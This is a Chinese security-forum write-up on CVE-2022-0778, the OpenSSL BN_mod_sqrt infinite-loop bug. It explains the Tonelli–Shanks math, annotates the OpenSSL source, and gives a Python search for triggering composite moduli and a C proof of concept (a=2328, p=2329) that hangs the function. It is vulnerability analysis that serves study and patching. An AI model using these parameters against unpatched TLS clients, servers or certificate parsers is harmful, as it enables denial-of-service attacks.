奇安信攻防社区-CVE-2022-0778漏洞触发

CVE-2022-0778漏洞触发

因为这个漏洞主要是存在与BN_mod_sqrt中，关键点在于需要构造一对特殊的a,p才能触发这个漏洞，这里主要是学习如何得到这一对特殊的a,p，涉及到Tonelli/Shanks算法的学习

漏洞介绍
====

3月15日，OpenSSL官方发布安全公告，修复了OpenSSL 版本 1.0.2、1.1.1 和 3.0中的拒绝服务漏洞（CVE-2022-0778）

由于证书解析时使用的 BN\_mod\_sqrt() 函数存在一个错误，它会导致在非质数的情况下永远循环。可通过生成包含无效的显式曲线参数的证书来触发无限循环。由于证书解析是在验证证书签名之前进行的，因此任何解析外部提供的证书的程序都可能受到拒绝服务攻击。此外，当解析特制的私钥时(包含显式椭圆曲线参数)，也可以触发无限循环。

因此易受攻击的情况如下：

使用服务器证书的 TLS 客户端

使用客户端证书的 TLS 服务器

托管服务提供商从客户处获取证书或私钥

证书颁发机构解析来自订阅者的认证请求

任何其他解析ASN.1椭圆曲线参数的程序

此外，任何使用BN\_mod\_sqrt()的其他应用程序，如果可以控制参数值，也会受到此漏洞影响。需要注意的是，任何需要证书中公钥的操作都会触发无限循环，特别是自签名的证书，在验证证书签名时会触发循环。

具体利用实现可参考

[OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造 | CatBro's Blog (catbro666.github.io)](https://catbro666.github.io/posts/83951100/#more)

Tonelli/Shanks
==============

BN\_mod\_sqrt这个函数的最终目的是返回ret（之后情况都将p是质数考虑）

这个ret满足

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-0f6a72b5b87f42354c8ea31ea1ed2604be71405e.png)

首先先对p进行处理，转化为2的次方乘上一个奇数+1的形式，如下

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-373f6e86a08d35bca12bad23345e884f9dc2e764.png)

此时的e&gt;=1

在具体了解算法前，需要一些前置知识

对于二次是否有解问题，可以用一些式子简单判断（费马小定理）

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-6b8dc5a69f945717232bfb5470c5c943603cb067.png)

阶的概念  
![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-e0394d594e54cf37176a89cee97ef894e8d44c83.png)  
使得 (b,p) = 1成立的最小正整数 a为 b模p的阶(指数)  
大部分的阶都是p-1，根据费马定理，少部分有如下情况，  
![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-52379d0f95605984c2a9450675c1d523e7d57dd1.png)  
此时4在7上的阶为3，此时的阶一定是p-1的因子

对e进行分类求取
--------

### e=1

那么此时

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-ee68dfeb11f5fd9f529a467d6ff51a08f5fad1cb.png)

考虑此时p%4时的值，此时p = 2\*q+1,q为奇数，那么p+1 = 2\*q+2 = 2\*(q+1) 一定是4的倍数

那么根据一定有解这个概念，可以直接判断此时的ret为 a^((p+1)/4)

证明

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-718dd11d38a7da7727e228c125c1d523dbc4c090.png)  
(ps:BN\_mod\_sqrt中对e=2进行另一种方法计算，不过和本算法无关，不予讨论)

### e&gt;1

先得到这个式子

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-19a53e202f46ac09aa28d2d44cd88606d46b8e63.png)  
此时选择一个数z使它为p的二次非剩余，也就是满足以下式子

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-ec1dc45b8d90df16dc435ecf670aaa52e2e5dd25.png)  
再计算出初始值

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-120b3005626355541348a6f13ef26f833f0705e8.png)

如果此时t满足 t mod p == 1 结束循环 返回r

否则开始循环

循环一个i值 （小于e）

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-55851f57e753b161d8787f1d9e627f01252d60ac.png)

此时继续判断是否满足外层循环，满足则返回r，否则继续，直到报错（i == e）

证明

以退出的条件为例，会保证以下式子一直成立

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-22b0b8ee23f6d682856e07b57fce0a33be2aafc3.png)

如果t mod p !=1

考虑非二次剩余z。

则有

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-5717e7f00d6ef98b9939ef60d75956aed20e90d4.png)

类似情况

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-54e33cb42d82217194872d39f82fb8ef3698666f.png)

和之前一样

现在

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-a3bad0c2c13ee755a2e89e43da540431a5f679ef.png)

思想到这还是比较明朗，当还有一个问题，为什么可以将t的阶一直缩小直到0

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-51e5f1b8d9cfdfc9cfba4c2f7a6bca2f5f997319.png)

接下来就是不断缩小范围直到0，就可以将答案解出来，如果一定有解，则一定能返回值，如果不存在解，则会存在e == i,报错。

源码分析
====

大概思想了解了，接下来可以结合实际代码进行分析

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-9790caace8112c055bc5797c832d4f3e9d7cc166.png)

这里顺序算出来是，这样计算出来的话是 a^((p//4)+1) 和 a^((p+1)//4)是相等的

直接看最后的俩个循环，这里符号有些不相同，并且代码写法上和直接理解算法还有很大的不同，这里主要参考源码的注释，进行辅助理解

```c
/*x = a^((q+1)/2))*/
while (1) {
        /*-
         * Now  b  is  a^q * y^k  for some even  k  (0 <= k < 2^E
         * where  E  refers to the original value of  e,  which we
         * don't keep in a variable),  and  x  is  a^((q+1)/2) * y^(k/2).
         *
         * We have  a*b = x^2,
         *    y^2^(e-1) = -1,   //
         *    b^2^(e-1) = 1.
         */
        #这里的y = z^q    , b = a^q
        if (BN_is_one(b)) {  //这里是正常退出的条件
            if (!BN_copy(ret, x))
                goto end;
            err = 0;
            goto vrfy;
        }

/* find smallest  i  such that  b^(2^i) = 1 */
        i = 1;
        if (!BN_mod_sqr(t, b, p, ctx)) // t = (b*b)%p   对应之前演示的t^2^i 
            goto end;
        while (!BN_is_one(t)) {
            i++;
            if (i == e) {
                ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
                goto end;
            }
            if (!BN_mod_mul(t, t, t, p, ctx))   //t^2^i
                goto end;
        }

/* t := y^2^(e - i - 1) */    //相当于上文的c^2^(m-i-1)
        if (!BN_copy(t, y))
            goto end;
        for (j = e - i - 1; j > 0; j--) {
            if (!BN_mod_sqr(t, t, p, ctx))
                goto end;
        }
        if (!BN_mod_mul(y, t, t, p, ctx))
            goto end;
        if (!BN_mod_mul(x, x, t, p, ctx)) //x相当于上文的ret
            goto end;
        if (!BN_mod_mul(b, b, y, p, ctx)) 
            goto end;
        e = i;
    }

```

理解这段代码需要仔细查询函数的具体含义，之前看BN\_mod\_sqr还以为是和BN\_mod\_sqrt的功能类似，造成了很多误解，前者是求平方，后者是求平方根

现在就可以看如何进行漏洞的触发

```c
 i = 1;
 if (!BN_mod_sqr(t, b, p, ctx))
            goto end;
 while (!BN_is_one(t)) {……}

```

要满足t\*t mod p == 1 ==&gt; (a^q)^2 mod p == 1

此时就不会进入while循环，i=1

之后e赋值1

计算a和p
=====

总的来进行满足漏洞触发的条件

1.e&gt;2

2.对于(a^q)^2 mod p == 1

可以考虑一种比较特殊的情况，就是当a = p-1,此时会有a^2 mod p == 1, ==&gt; 1^q mod p==1 ，之后计算的a都是p-1

3.不能正常退出

此时就是 b\*y!=1 == &gt; a^q\*z^q !=1 ==&gt; a\*z^q !=1,不过一般都不能满足

4.要保证循环一直在进行

也就是（a\*z^q）^2^i == 1永远不成立，直到i=e时，这里就要求了p是一个合数,质数性质决定了迟早会相等。

一个比较一般情况还要判断a是否是一个二次剩余，不过在源码中并没有这方面的检测，后续就不进行这方面的过滤

```python
for x in range(2,3000):
    if (x-1)%8 == 0 and (x-1)%16 !=0:  #这里只取了e=3的数
        z = 0
        for i in range(2,x):
            if pow(i,(x-1)//2,x) == x-1:
                z = i   #计算非二次剩余
                break
        t = (x-1)*z**3
        t = pow(t,pow(2,3),x)
        if t == 1:
            print(x)
out:
41
313
409
697
1241
1513
2329
从697开始符合条件，前面是素数，不符合条件
```

测试

```c
#include <openssl/bn.h>

int main() {
    BN_CTX *ctx;
    ctx = BN_CTX_new();
    BIGNUM *res, *a, *p;
    BN_CTX_start(ctx);
    res = BN_CTX_get(ctx);
    a = BN_CTX_get(ctx);
    p = BN_CTX_get(ctx);

BN_dec2bn(&p, "2329");
    BN_dec2bn(&a, "2328");

printf("p = %s\n", BN_bn2dec(p));
    printf("a = %s\n", BN_bn2dec(a));

BIGNUM* check = BN_mod_sqrt(res, a, p, ctx);
    printf("%s\n", BN_bn2dec(res));

return 0;
}
gcc -0 xxx.c t -lcrypto
```

![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/11/attach-b26b0e3e965f6b510190c0b997e2a7eea008d22e.png)  
陷入死循环，触发漏洞

参考：  
[OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造 | CatBro's Blog (catbro666.github.io)](https://catbro666.github.io/posts/83951100/#more)

发表于 2022-11-25 09:00:02
阅读 ( 6021 )
分类：漏洞分析

1 条评论

cooler 2022-11-26 17:58

看着这个仿佛回到了高中数学时代、